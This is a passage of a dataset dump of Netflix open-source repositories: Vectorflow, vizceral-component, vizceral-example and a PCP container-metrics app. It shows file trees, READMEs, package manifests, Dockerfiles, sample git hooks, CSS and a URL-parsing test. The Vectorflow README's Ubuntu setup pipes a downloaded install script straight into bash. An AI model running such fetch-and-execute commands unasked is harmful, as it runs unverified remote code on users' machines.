superagent.get(`${pmapi}/${context}/_fetch?names=containers.cgroup`)\n\n res = await promisedContainerNames\n const containers = res.body.values.length ? res.body.values[0].instances : []\n res = await promisedCgroups\n const cgroups = res.body.values.length ? res.body.values[0].instances : []\n\n const containerList = cgroups.map(({ instance, value }) => ({\n instance,\n cgroup: value,\n containerId: containers.find(cont => cont.instance === instance).value\n }))\n\n return containerList\n}\n\n", "src\\app\\utils\\index.spec.js": "/**!\n *\n * Copyright 2018 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport * as utils from './'\nimport { expect } from 'chai'\nimport config from 'config'\n\ndescribe('getChartsFromLocation', () => {\n describe('with new style search string', () => {\n const search = '?q=[{\"p\":\"http\",\"h\":\"192.168.251.133:44323\",\"hs\":\"localhost\",\"ci\":\"_all\",\"cl\":[\"cpu-pswitch\"]},{\"p\":\"http\",\"h\":\"1.2.3.4:7402\",\"hs\":\"localhost\",\"ci\":\"_all\",\"cl\":[]},{\"p\":\"https\",\"h\":\"192.168.251.133:44323\",\"hs\":\"localhost\",\"ci\":\"hopeful_dijkstra\",\"cl\":[\"container-percont-cpu\",\"container-percont-mem\",\"container-total-cont-mem\"]}]'\n const result = utils.getChartsFromLocation({ search, hash: null })\n it('finds three targets', () => {\n expect(result.targets.length).to.equal(3)\n expect(result.targets).to.have.deep.members([\n { protocol: 'http', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: '_all' },\n { protocol: 'https', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: 'hopeful_dijkstra' },\n { protocol: 'http', hostname: '1.2.3.4:7402', hostspec: 'localhost', containerId: '_all' },\n ])\n })\n\n it('finds four charts in the chartlist', () => {\n expect(result.chartlist.length).to.equal(4)\n expect(result.chartlist).to.have.deep.members([\n { target: { protocol: 'http', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: '_all' }, chartId: 'cpu-pswitch' },\n { target: { protocol: 'https', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: 'hopeful_dijkstra' }, chartId: 'container-percont-cpu' },\n { target: { protocol: 'https', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: 'hopeful_dijkstra' }, chartId: 'container-percont-mem' },\n { target: { protocol: 'https', hostname: '192.168.251.133:44323', hostspec: 'localhost', containerId: 'hopeful_dijkstra' }, chartId: 'container-total-cont-mem' },\n ])\n })\n })\n\n describe('with new style search string, no protocol specified', () => {\n const search = '?q=[{\"h\":\"192.168.251.133:44323\",\"hs\":\"localhost\",\"ci\":\"_all\",\"cl\":[\"cpu-pswitch\"]},{\"h\":\"1.2.3.4:7402\",\"hs\":\"localhost\",\"ci\":\"_all\",\"cl\":[]},{\"h\":\"192.168.251.133:44323\",\"hs\":\"localhost\",\"ci\":\"hopeful_dijkstra\",\"cl\":[\"container-percont-cpu\",\"container-percont-mem\",\"container-total-cont-mem\"]}]'\n const result = utils.getChartsFromLocation({ search, hash: null })\n it('finds three targets, all with the default protocol', () => {\n expect(result.targets.length).to.equal(3)\n result.targets.forEach(i => expect(i.protocol).to.equal(config.defaultProtocol))\n })\n\n it('finds four charts in the chartlist, all with targets having the default protocol', () => {\n expect(result.chartlist.length).to.equal(4)\n result.chartlist.forEach(i => expect(i.target.protocol).to.equal(config.defaultProtocol))\n })\n })\n\n describe('with old style hash string', () => {\n describe('with a container', () => {\n const hash = '#/?host=100.65.15.127&container=09fb4cae-8987-49bc-a208-1115aa0443e1'\n const result = utils.getChartsFromLocation({ search: null, hash })\n it('finds a single target with a container', () => {\n expect(result.targets.length).to.equal(1)\n expect(result.targets).to.have.deep.members([\n { protocol: 'http', hostname: '100.65.15.127:7402', hostspec: 'localhost', containerId: '09fb4cae-8987-49bc-a208-1115aa0443e1' }\n ])\n })\n it('finds a single chart attached to that container', () => {\n expect(result.chartlist.length).to.equal(0)\n })\n })\n\n describe('without a container', () => {\n const hash = '#/?host=100.82.47.121'\n const result = utils.getChartsFromLocation({ search: null, hash })\n it('finds a single target connected to _all container', () => {\n expect(result.targets.length).to.equal(1)\n expect(result.targets).to.have.deep.members([\n { protocol: 'http', hostname: '100.82.47.121:7402', hostspec: 'localhost', containerId: '_all' }\n ])\n })\n it('does not find any charts', () => {\n expect(result.chartlist.length).to.equal(0)\n })\n })\n })\n\n describe('with empty string', () => {\n const result = utils.getChartsFromLocation({ search: null, hash: null })\n it('finds no targets', () => {\n expect(result.targets.length).to.equal(0)\n })\n it('finds no charts', () => {\n expect(result.chartlist.length).to.equal(0)\n })\n })\n})\n\n", "test\\pcp-target\\Dockerfile": "FROM ubuntu:bionic\n\n# need to fetch latest ca-certificates first\nRUN apt-get -y update\nRUN apt-get -y upgrade\nRUN apt-get install -y ca-certificates gnupg2 linux-headers-$(uname -r)\n\n# install pcp\nCOPY etc_apt_sources.list.d_pcp.list /etc/apt/sources.list.d/pcp.list\nRUN apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys A51D3ADCDEA2C114\nRUN apt-get -y update\nRUN apt-get install -y pcp pcp-webapi bpfcc-tools\n\n"} | null |
vectorflow | {"type": "directory", "name": "vectorflow", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "dub.json"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "compile_run.sh"}, {"type": "file", "name": "mnist.d"}, {"type": "file", "name": "rcv1.d"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "NOTICE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "vectorflow", "children": [{"type": "file", "name": "dataset.d"}, {"type": "file", "name": "layers.d"}, {"type": "file", "name": "losses.d"}, {"type": "file", "name": "math.d"}, {"type": "file", "name": "ml.d"}, {"type": "file", "name": "monitor.d"}, {"type": "file", "name": "neurallayer.d"}, {"type": "file", "name": "neuralnet.d"}, {"type": "file", "name": "optimizers.d"}, {"type": "file", "name": "package.d"}, {"type": "file", "name": "regularizers.d"}, {"type": "file", "name": "serde.d"}, {"type": "file", "name": "utils.d"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "backprop.d"}, {"type": "file", "name": "common.d"}, {"type": "file", "name": "dataset.d"}, {"type": "file", "name": "layers.d"}, {"type": "file", "name": "learning.d"}, {"type": "file", "name": "neuralnet.d"}, {"type": "file", "name": "serde.d"}]}]} | <img src="http://ae.nflximg.net/vectorflow/vectorflow_logo.png" width="200">
**Vectorflow** is a minimalist neural network library optimized for sparse data and single machine environments.
Original blog post [here](https://medium.com/@NetflixTechBlog/introducing-vectorflow-fe10d7f126b8).
[![Build Status](https://travis-ci.com/Netflix/vectorflow.svg?branch=master)](https://travis-ci.com/Netflix/vectorflow)
### Installation
#### dub package
The library is distributed as a [`dub`](https://code.dlang.org/) package. Add `vectorflow` to the `dependencies` section of your `dub.json`:
```
"vectorflow": "~>1.0.2"
```
The library itself doesn't have any dependencies. All you need is a recent D compiler.
**`LDC` is the recommended compiler** for the fastest runtime speed.
Tested on:
- Linux, OSX
- LDC version: >= 1.1.1
- DMD version: >= 2.073.1
#### Setting up a D environment
If you're new to [D](http://dlang.org/), keep reading. You will need `dub` (the D package manager) and `LDC` (the LLVM-based D compiler).
##### macOS
```
brew install dub
brew install ldc
```
##### Ubuntu
```
apt-get install -y curl xz-utils
curl -fsS https://dlang.org/install.sh | bash -s ldc
source ~/dlang/ldc-{VERSION}/activate
```
### Examples
To run the RCV1 example (sparse logistic regression):
```
cd examples && ./compile_run.sh rcv1.d
```
### Tests
To run the tests:
```
dub test
```
### Documentation
`vectorflow` uses [ddoc](https://dlang.org/spec/ddoc.html).
One way of building and serving the documentation locally (you will need `libevent` for serving) is:
```
dub build -b ddox && dub run -b ddox
```
Or use your favorite DDOC compiler.
Please also refer to the repo wiki.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
vizceral-component | {"type": "directory", "name": "vizceral-component", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".editorconfig"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".jshintignore"}, {"type": "file", "name": ".jshintrc"}, {"type": "file", "name": "bower.json"}, {"type": "file", "name": "ELEMENT.json"}, {"type": "file", "name": "ELEMENT.md"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "sample_data.json"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "vizceral-component.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "vizceral-component-test.html"}]}, {"type": "file", "name": "vizceral-component.html"}, {"type": "file", "name": "vizceral-component.js"}, {"type": "file", "name": "wct.conf.json"}, {"type": "file", "name": "webpack.config.js"}]} | ![](https://raw.githubusercontent.com/Netflix/vizceral/master/logo.png)
# vizceral-component
vizceral-component is a web component that wraps [vizceral](https://github.com/Netflix/vizceral) for displaying traffic data on a webgl canvas. If a graph of nodes and edges with data about traffic volume is provided, it will render a traffic graph animating the connection volume between nodes.
This component can take multiple traffic graphs and will generate a 'global' graph showing all incoming traffic into each of the 'regions', with support for cross-region traffic.
## Using
1. Add vizceral-component to bower.json (and [webcomponentsjs](https://github.com/webcomponents/webcomponentsjs))
```js
"dependencies": {
"vizceral-component": "git+ssh://[email protected]:Netflix/vizceral-component.git#master",
"webcomponentsjs": "^0.7.21"
}
```
* Install bower dependencies
```
$ bower install
```
* Make sure webcomponentsjs and vizceral-component get copied to the public folder for your project
* Add the appropriate import statements
```html
<script type="text/javascript" src="js/webcomponents-lite.js"></script>
<link rel="import" href="components/vizceral-component/vizceral-component.html"></link>
```
* Now you can add the vizceral-component component anywhere in your page structure
```html
<vizceral-component view="['us-west-2']" show-labels="true" />
```
The component will not show anything unless you call `updateData` on the component with relevant traffic data.
### Styling
The component uses CSS variables to set all the styles. For example, if you apply the class `vizceral-component` to the component:
```css
.vizceral-component {
--colorText: rgb(214, 214, 214);
--colorTextDisabled: rgb(129, 129, 129);
--colorNormal: rgb(186, 213, 237);
--colorWarning: rgb(268, 185, 73);
--colorDanger: rgb(184, 36, 36);
--colorNormalDimmed: rgb(101, 117, 128);
--colorBackgroundDark: rgb(35, 35, 35);
--colorNormalDonut: rgb(91, 91, 91);
--colorLabelBorder: rgb(16, 17, 18);
--colorLabelText: rgb(0, 0, 0);
--colorDonutInternalColor: rgb(35, 35, 35);
--colorDonutInternalColorHighlighted: rgb(255, 255, 255);
--colorConnectionLine: rgb(91, 91, 91);
--colorPageBackground: rgb(45, 45, 45);
--colorPageBackgroundTransparent: rgba(45, 45, 45, 0);
--colorBorderLines: rgb(137, 137, 137);
}
```
Since the main underlying rendering is done via three.js, the component needed an easy way to use the same values for CSS and JS variables. CSS variables are easily parsed in JS, so it provided a good way to declare all the styles in one place via CSS.
### Events
See [ELEMENT.md](ELEMENT.md#events)
## Developing Locally
To see your changes to `vizceral-component` locally, you'll need to link the package with bower:
```
$ git clone ssh://[email protected]:7999/traffic/vizceral-component.git
$ cd vizceral-component
$ bower link
$ cd /path/to/project-using-vizceral-component
$ bower link vizceral-component
```
## Contributing
1. Clone this repo
2. Create a branch: `git checkout -b your-feature`
3. Make some changes
4. Test your changes by [running your local version](#developing-locally)
5. Push your branch and open a Pull Request
## License
Code released under [the Apache 2.0 license](./LICENSE).
## Data Structures
Example data in the format expected by the component
| {"index.html": "<!DOCTYPE html>\n<html>\n <head>\n <style>\n html {\n background: rgb(45, 45, 45);\n color: rgb(214, 214, 214);\n }\n a {\n color: rgb(186, 213, 237)\n }\n a:hover {\n color: rgb(214, 214, 214);\n }\n a:visited, a:active {\n color: rgb(129, 129, 129);\n }\n .vizceral-component {\n --colorText: rgb(214, 214, 214);\n --colorTextDisabled: rgb(129, 129, 129);\n --colorTrafficNormal: rgb(186, 213, 237);\n --colorTrafficWarning: rgb(268, 185, 73);\n --colorTrafficDanger: rgb(184, 36, 36);\n --colorNormalDimmed: rgb(101, 117, 128);\n --colorBackgroundDark: rgb(35, 35, 35);\n --colorNormalDonut: rgb(91, 91, 91);\n --colorLabelBorder: rgb(16, 17, 18);\n --colorLabelText: rgb(0, 0, 0);\n --colorDonutInternalColor: rgb(35, 35, 35);\n --colorDonutInternalColorHighlighted: rgb(255, 255, 255);\n --colorConnectionLine: rgb(91, 91, 91);\n --colorPageBackground: rgb(45, 45, 45);\n --colorPageBackgroundTransparent: rgba(45, 45, 45, 0);\n --colorBorderLines: rgb(137, 137, 137);\n }\n </style>\n <meta charset=\"utf-8\">\n <title>vizceral-component</title>\n\n <script src=\"../webcomponentsjs/webcomponents-lite.js\"></script>\n <link rel=\"import\" href=\"vizceral-component.html\">\n </head>\n <body style=\"width:100%; height:100%;\">\n\n <h1>vizceral-component</h1>\n\n <p>(<a href=\"ELEMENT.md\">docs</a>)<br/>\n <p>Double click on a node to zoom into the node, hit ESC to zoom back out</p>\n\n <vizceral-component id=\"vizceral-component\" class=\"vizceral-component\" regions=\"us-west-2,us-east-1,eu-west-1\" style=\"width:100%; height:800px;\" view=[] ></vizceral-component>\n\n <script>\n window.onkeyup = function(e) {\n var key = e.keyCode ? e.keyCode : e.which;\n\n if (key === 27) {\n var flow = document.getElementById('vizceral-component');\n flow.zoomOutViewLevel();\n }\n }\n\n function loadJSON(file, callback) {\n\n var xobj = new XMLHttpRequest();\n xobj.responseType = \"json\";\n xobj.open('GET', file, true);\n xobj.onreadystatechange = function () {\n if (xobj.readyState === 4 && xobj.status === 200) {\n callback(xobj.response);\n }\n };\n xobj.send(null);\n }\n window.addEventListener('WebComponentsReady', function() {\n loadJSON('sample_data.json', function (response) {\n var flow = document.getElementById('vizceral-component');\n flow.updateData(response);\n });\n }, false);\n </script>\n </body>\n</html>\n", "package.json": "{\n \"name\": \"vizceral-component\",\n \"version\": \"2.0.0\",\n \"scripts\": {\n \"pretest\": \"hash wct 2>/dev/null || { echo >&2 \\\"There are no tests, maybe we should write some.\\\"; exit 1; }\",\n \"bower\": \"bower update && bower install\",\n \"dev\": \"npm run watch & polyserve -p 8084\",\n \"lint\": \"eslint src\",\n \"build\": \"npm run build:js\",\n \"build:js\": \"webpack --optimize-occurrence-order\",\n \"watch\": \"webpack --watch -d\",\n \"validate\": \"npm ls\"\n },\n \"license\": \"Apache-2.0\",\n \"author\": \"Justin Reynolds <[email protected]>\",\n \"devDependencies\": {\n \"babel-core\": \"^6.10.4\",\n \"babel-eslint\": \"^6.1.2\",\n \"babel-loader\": \"^6.2.4\",\n \"babel-preset-es2015\": \"^6.9.0\",\n \"bower\": \"^1.7.9\",\n \"eslint\": \"^3.1.0\",\n \"eslint-config-airbnb-base\": \"^4.0.2\",\n \"eslint-plugin-import\": \"^1.10.3\",\n \"polyserve\": \"^0.12.0\",\n \"style-loader\": \"^0.13.1\",\n \"webpack\": \"^1.13.1\"\n },\n \"dependencies\": {\n \"lodash\": \"^4.13.1\",\n \"vizceral\": \"^4.0.0\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"[email protected]:Netflix/vizceral-component.git\"\n },\n \"keywords\": [\n \"traffic\",\n \"flow\",\n \"network\",\n \"graph\",\n \"particles\",\n \"webgl\"\n ]\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "test\\index.html": "<!doctype html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, minimum-scale=1.0, initial-scale=1.0, user-scalable=yes\">\n\n <script src=\"../../webcomponentsjs/webcomponents-lite.js\"></script>\n <script src=\"../../web-component-tester/browser.js\"></script>\n </head>\n <body>\n <script>\n // Load and run all tests (.html, .js):\n WCT.loadSuites([\n 'vizceral-component-test.html',\n 'vizceral-component-test.html?dom=shadow'\n ]);\n </script>\n </body>\n</html>\n"} | null |
vizceral-example | {"type": "directory", "name": "vizceral-example", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "Dockerfile"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "package-lock.json"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "app.css"}, {"type": "file", "name": "app.jsx"}, {"type": "file", "name": "appConstants.js"}, {"type": "file", "name": "appDispatcher.js"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "breadcrumbs.css"}, {"type": "file", "name": "breadcrumbs.jsx"}, {"type": "file", "name": "connectionList.jsx"}, {"type": "file", "name": "controls.css"}, {"type": "file", "name": "detailsPanel.css"}, {"type": "file", "name": "detailsPanelConnection.jsx"}, {"type": "file", "name": "detailsPanelNode.jsx"}, {"type": "file", "name": "detailsSubpanel.jsx"}, {"type": "file", "name": "detailsSubpanelSubNodes.jsx"}, {"type": "file", "name": "displayOptions.jsx"}, {"type": "file", "name": "filterActions.js"}, {"type": "file", "name": "filterControls.jsx"}, {"type": "file", "name": "filterStore.js"}, {"type": "file", "name": "loadingCover.css"}, {"type": "file", "name": "loadingCover.jsx"}, {"type": "file", "name": "locator.css"}, {"type": "file", "name": "locator.jsx"}, {"type": "file", "name": "notices.jsx"}, {"type": "file", "name": "optionsPanel.css"}, {"type": "file", "name": "optionsPanel.jsx"}, {"type": "file", "name": "physicsOptions.css"}, {"type": "file", "name": "physicsOptions.jsx"}, {"type": "file", "name": "stepper.jsx"}, {"type": "file", "name": "subNodeList.jsx"}, {"type": "file", "name": "trafficFlow.css"}, {"type": "file", "name": "trafficFlow.jsx"}, {"type": "file", "name": "updateStatus.css"}, {"type": "file", "name": "updateStatus.jsx"}]}, {"type": "file", "name": "favicon.ico"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "sample_data.json"}, {"type": "file", "name": "sample_data_region_only.json"}, {"type": "file", "name": "sample_data_simple.json"}, {"type": "file", "name": "sample_data_with_shapes_and_notices.json"}]}, {"type": "file", "name": "webpack.config.js"}]} | ![](https://raw.githubusercontent.com/Netflix/vizceral/master/logo.png)
# Vizceral Example
This is a sample application using the [React wrapper](https://github.com/Netflix/vizceral-react) around the [vizceral](https://github.com/Netflix/vizceral) graph.
For more details about using vizceral in your own projects with your own data, refer to the above repositories.
# Setup
1. Get source, install deps, and run demo server.
```sh
git clone [email protected]:Netflix/vizceral-example.git
cd vizceral-example
npm install
npm run dev
```
2. Open `localhost:8080` in your browser.
##### Using Docker
If you don't have a node environment setup or would like to run this example on a platform, there is a Dockerfile for experimental usage.
```
$ docker build -t <name>/vizceral-example .
```
```
$ docker run -p 41911:8080 -d <name>/vizceral-example
```
Then you should be able to navigate to http://localhost:41911
| {"Dockerfile": "FROM node:alpine\n\n# Create app directory\nWORKDIR /usr/src/app\n\n# Install app dependencies\nCOPY package.json .\nRUN npm install\n\n# Bundle app source\nCOPY . .\n\nEXPOSE 8080\nCMD [ \"npm\", \"run\", \"dev\" ]\n", "package.json": "{\n \"name\": \"vizceral-example\",\n \"version\": \"4.3.0\",\n \"description\": \"Vizceral example app\",\n \"author\": \"Justin Reynolds <[email protected]>\",\n \"scripts\": {\n \"clean\": \"rimraf dist && mkdirp dist\",\n \"lint\": \"eslint src --ext .js --ext .jsx --fix\",\n \"copy:fonts\": \"cpx \\\"./node_modules/source-sans-pro/**/*\\\" ./dist/fonts\",\n \"copy:json\": \"cpx \\\"./src/*.json\\\" ./dist\",\n \"dev-server\": \"webpack-dev-server --host=0.0.0.0 --content-base dist/ --history-api-fallback --color\",\n \"dev\": \"npm-run-all clean --parallel copy:* dev-server\",\n \"validate\": \"npm ls\"\n },\n \"engines\": {\n \"node\": \"~4.4.0\"\n },\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"@tweenjs/tween.js\": \"^16.8.0\",\n \"bootstrap\": \"^3.3.7\",\n \"flux\": \"^3.1.0\",\n \"hammerjs\": \"^2.0.8\",\n \"jquery\": \"^3.1.1\",\n \"keymirror\": \"^0.1.1\",\n \"keypress.js\": \"2.1.0-1\",\n \"lodash\": \"^4.17.11\",\n \"numeral\": \"^1.5.3\",\n \"prop-types\": \"^15.7.2\",\n \"query-string\": \"^4.2.3\",\n \"react\": \"^16.8.6\",\n \"react-bootstrap\": \"^0.32.4\",\n \"react-dom\": \"^16.8.6\",\n \"react-virtualized\": \"^9.21.0\",\n \"socket.io-client\": \"^1.5.1\",\n \"source-sans-pro\": \"^2.0.10\",\n \"superagent\": \"^3.0.0\",\n \"vizceral-react\": \"^4.8.0\",\n \"webfontloader\": \"^1.6.26\"\n },\n \"devDependencies\": {\n \"babel-core\": \"^6.18.0\",\n \"babel-eslint\": \"^7.1.0\",\n \"babel-loader\": \"^7.1.5\",\n \"babel-preset-env\": \"^1.7.0\",\n \"babel-preset-react\": \"^6.16.0\",\n \"babel-preset-stage-0\": \"^6.16.0\",\n \"cpx\": \"^1.5.0\",\n \"css-loader\": \"^1.0.0\",\n \"eslint\": \"^5.4.0\",\n \"eslint-config-airbnb-base\": \"^13.1.0\",\n \"eslint-loader\": \"^2.1.0\",\n \"eslint-plugin-import\": \"^2.0.1\",\n \"eslint-plugin-jsx-a11y\": \"^6.1.1\",\n \"eslint-plugin-react\": \"^7.11.1\",\n \"file-loader\": \"^2.0.0\",\n \"html-loader\": \"^0.5.5\",\n \"html-webpack-plugin\": \"^3.2.0\",\n \"mkdirp\": \"^0.5.1\",\n \"npm-run-all\": \"^4.1.3\",\n \"precommit-hook\": \"^3.0.0\",\n \"rimraf\": \"^2.5.4\",\n \"style-loader\": \"^0.23.0\",\n \"url-loader\": \"^1.1.1\",\n \"webpack\": \"^4.36.1\",\n \"webpack-cli\": \"^3.3.6\",\n \"webpack-dev-server\": \"^3.7.2\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"[email protected]:Netflix/vizceral-example.git\"\n },\n \"pre-commit\": [\n \"lint\",\n \"test\"\n ]\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\app.css": "html {\n min-height: 100%;\n height:100%;\n}\nbody {\n position: relative;\n background-color: var(--colorPageBackground);\n color: var(--colorText);\n font-family: 'Source Sans Pro', sans-serif;\n font-weight: 400;\n font-style: normal;\n height: 100%;\n}\n\n.color-normal, .severity0 {\n color: var(--colorNormal);\n}\n\n.color-warning, .severity1 {\n color: var(--colorWarning);\n}\n\n.color-danger, .severity2 {\n color: var(--colorDanger);\n}\n\n.disabled {\n color: var(--colorTextDisabled);\n}\n\n/* Custom page CSS\n-------------------------------------------------- */\nbody > .container {\n position: absolute;\n top: 51px;\n padding-left: 0;\n padding-right: 0;\n margin-left: 0;\n margin-right: 0;\n bottom: 0;\n left: 0;\n right: 0;\n width: 100%;\n}\n\n.container .text-muted {\n margin: 20px 0;\n}\n\n.navbar {\n background-color: var(--colorNormalDonut);\n}\n\n.navbar-brand {\n color: #fff !important;\n font-weight: 200;\n text-shadow: 0 1px 1px #333;\n}\n\n.navbar-text {\n color: #fff !important;\n font-weight: 200;\n}\n\n/* Feedback\n-------------------------------------------------- */\n.glyphicon-comment {\n top: 3px;\n padding-right: 5px;\n}\n\n#feedback {\n padding-right: 25px;\n}\n\n/* Traffic\n-------------------------------------------------- */\n.vizceral-container {\n height: 100%;\n position: relative;\n}\n\n.service-traffic-map {\n position: absolute;\n top: 87px;\n bottom: 0;\n left: 0;\n right: 0;\n}\n\n.hidden {\n display: none;\n}\n\n.clickable {\n cursor: pointer;\n}\n\n:root, .vizceral {\n --colorText: rgb(214, 214, 214);\n --colorTextDisabled: rgb(129, 129, 129);\n --colorNormal: rgb(186, 213, 237);\n --colorWarning: rgb(268, 185, 73);\n --colorDanger: rgb(184, 36, 36);\n --colorNormalDimmed: rgb(101, 117, 128);\n --colorBackgroundDark: rgb(35, 35, 35);\n --colorNormalDonut: rgb(91, 91, 91);\n --colorLabelBorder: rgb(16, 17, 18);\n --colorLabelText: rgb(0, 0, 0);\n --colorDonutInternalColor: rgb(35, 35, 35);\n --colorDonutInternalColorHighlighted: rgb(255, 255, 255);\n --colorConnectionLine: rgb(91, 91, 91);\n --colorPageBackground: rgb(45, 45, 45);\n --colorPageBackgroundTransparent: rgba(45, 45, 45, 0);\n --colorBorderLines: rgb(137, 137, 137);\n}\n\n/* Subheader\n-------------------------------------------------- */\n.subheader {\n padding: 5px 15px 0 15px;\n color: var(--colorBorderLines);\n height: 45px;\n border-bottom: 1px solid var(--colorBorderLines);\n}\n\n.subheader > div {\n display: inline-block;\n}\n\n.date-time-slider-container {\n height: 45px;\n}\n\n/* STEPPER */\n.stepper {\n list-style: none;\n margin: 0;\n padding: 0;\n display: table;\n table-layout: fixed;\n width: 100%;\n color: var(--colorNormalDonut);\n}\n.stepper > li {\n position: relative;\n display: table-cell;\n text-align: center;\n font-size: 0.8em;\n cursor: pointer;\n}\n.stepper > li:before {\n content: attr(data-step);\n display: block;\n margin: 0 auto;\n background: var(--colorNormalDonut);\n width: 1.3em;\n height: 1.3em;\n text-align: center;\n margin-bottom: 0.25em;\n line-height: 1.3em;\n border-radius: 100%;\n position: relative;\n z-index: 1000;\n}\n.stepper > li:after {\n content: '';\n position: absolute;\n display: block;\n background: var(--colorNormalDonut);\n width: 100%;\n height: 0.4em;\n top: 0.45em;\n left: 50%;\n z-index: -1;\n}\n.stepper > li:last-child:after {\n display: none;\n}\n.stepper > li.is-lower {\n color: var(--colorNormal);\n}\n.stepper > li.is-lower:before {\n color: #FFF;\n background: var(--colorNormal);\n}\n.stepper > li.is-lower:after {\n color: #FFF;\n}\n.stepper > li.show-bar:after {\n background: var(--colorNormal);\n}\n.stepper > li.is-current {\n color: var(--colorNormal);\n}\n.stepper > li.is-current:before {\n color: #FFF;\n background: var(--colorNormal);\n}\n/* END STEPPER */\n\n.subsection {\n padding-left: 15px;\n padding-right: 15px;\n padding-bottom: 10px;\n}\n\n.panel-default > .panel-heading {\n background-color: rgb(87, 87, 87);\n color: var(--colorText);\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n border-left-width: 0;\n}\n\n.panel-default > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .panel-body {\n border-top-color: var(--colorBorderLines);\n padding-left: 17px;\n}\n\n.panel-body {\n padding: 0;\n}\n\n.panel-group {\n margin-bottom: 0;\n}\n\n.panel-group .panel {\n background-color: transparent;\n border-radius: 0;\n border-top: 1px solid var(--colorBorderLines);\n border-bottom: 0;\n border-left: 0;\n border-right: 0;\n}\n\n.panel-group:last-of-type .panel:last-of-type {\n border-bottom: 1px solid var(--colorBorderLines);\n}\n\n.ReactVirtualized__Table__headerColumn:first-of-type, .ReactVirtualized__Table__rowColumn:first-of-type 